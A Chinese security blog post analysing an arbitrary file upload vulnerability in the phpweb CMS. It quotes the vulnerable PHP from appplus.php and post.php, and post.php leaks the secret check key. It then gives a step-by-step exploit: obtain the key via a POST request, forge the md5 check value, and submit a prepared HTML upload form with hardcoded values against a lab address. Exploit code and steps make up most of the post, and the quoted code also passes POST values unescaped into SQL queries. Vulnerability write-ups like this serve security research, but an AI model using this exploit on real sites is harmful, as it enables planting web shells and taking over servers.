c1ay's blog

phpweb前台任意文件上传

字数统计: 743阅读时长: 3 min
2020/01/10 Share

phpweb前台任意文件上传

漏洞分析

存在漏洞的代码位置:

/base/appplus.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
//密钥校验
$k=md5(strrev($dbUser.$dbPass));
$h=$_SERVER["HTTP_REFERER"];
$t=$_POST["t"];
$m=$_POST["m"];
$act=$_POST["act"];
$path=$_POST["path"];
$md5=md5($k.$t);
if($m!=$md5){
echo "ERROR: 安全性校验错误";
exit;
}
//文件上传
if($act=="upload"){
$file=$_FILES["file"];
$r_size=$_POST["r_size"];
if ($_FILES["file"]["ERROR"] > 0){
echo "ERROR:".$_FILES["file"]["ERROR"]."<br />";
exit;
}else{
if($_FILES["file"]["size"]!=$r_size){
echo "ERROR:上传文件错误,文件大小和原文件不匹配";
@write_log("app.log",date("Y-m-d H:i:s",time())." ERROR: 上传文件错误,文件大小和原文件不匹配\n",FILE_APPEND);
exit;
}
//检查目录名
if($path!=""){
$ToPath="../".$path;
$Tofile=$ToPath."/".$_FILES["file"]["name"];
if(!is_dir($ToPath)){
@mkdir($ToPath,0777);
}
}else{
$ToPath="../update/";
$Tofile="../update/".$_FILES["file"]["name"];
}
if(!is_writable($ToPath)){
echo "ERROR:".$ToPath." 目录不可写,请设置目录属性为可写";
@write_log("app.log",date("Y-m-d H:i:s",time())." ERROR: ".$ToPath." 目录不可写,请设置目录属性为可写\n",FILE_APPEND);
exit;
}
if(file_exists($Tofile) && !is_writable($Tofile)){
echo "ERROR:".$Tofile." 文件不能覆盖,请设置文件属性为可写";
@write_log("app.log",date("Y-m-d H:i:s",time())." ERROR: ".$Tofile." 文件不能覆盖,请设置文件属性为可写\n",FILE_APPEND);
exit;
}
//复制文件
copy($_FILES["file"]["tmp_name"],$Tofile);
switch($_FILES["file"]["type"]){
case "application/octet-stream":
@chmod($Tofile,0755);
break;
default:
@chmod($Tofile,0666);
break;
}
echo "文件上传成功: " .substr($Tofile,3);
@write_log("app.log",date("Y-m-d H:i:s",time())." 文件上传成功: ".substr($Tofile,3)."\n",FILE_APPEND);
exit;
}
}

可以看到这里存在任意文件上传,但是前提是需要通过密钥校验

mark

这里的$m$t都是可控的,如果可以在代码当中找到$k的值,就可以通过密钥校验

通过全局搜索md5(strrev($dbUser.$dbPass))可以在/base/post.php找到该值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$act = $_POST['act'];
switch($act){
...
...
case "appcode" :
$pluslable=$_POST['pluslable'];
$apptype=$_POST['apptype'];
$coltype=$_POST['coltype'];
$tempid=$_POST['tempid'];
if($apptype=="plus"){
$msql->query("select id from {P}_base_plusdefault where `pluslable`='$pluslable'");
if($msql->next_record()){
echo "1000";
exit;
}
$msql->query("select id from {P}_base_coltype where `coltype`='$coltype'");
if($msql->next_record()){
}else{
echo "2000";
exit;
}
}
if($apptype=="border"){
$msql->query("select id from {P}_base_border where `tempid`='$tempid'");
if($msql->next_record()){
echo "1000";
exit;
}
}
$code="k=".md5(strrev($dbUser.$dbPass))."&t=".time();
echo $code;
exit;
break;
}

漏洞利用:

step1:获取$k:md5(strrev($dbUser.$dbPass))

http://192.168.157.130/phpweb/3151/base/post.php
post:act=appcode
mark

step2:通过$k构造$mmd5($k.$t),使$m===$md5
mark

step3:构造上传exp

1
2
3
4
5
6
7
8
<form action="http://192.168.157.130/phpweb/3151/base/appplus.php" enctype="multipart/form-data" method="post">Upload a new file:<br>
<input type="text" name="act" value="upload">
<input type="text" name="m" value="26478db11a74b3c8675f463fee30cba7">
<input type="text" name="t" value="1">
<input type="text" name="r_size" value="18">
<input type="file" name="file" size="18"><br>
<input type="submit" value="upload">
</form>

本地构造好上传页面直接上传即可

注意这里$_POST['r_size']要和$_FILES['file']['size']大小相等(字节)

mark

参考文章:

https://xz.aliyun.com/t/7053

CATALOG
  1. 1. phpweb前台任意文件上传
    1. 1.0.1. 漏洞分析
    2. 1.0.2. 漏洞利用: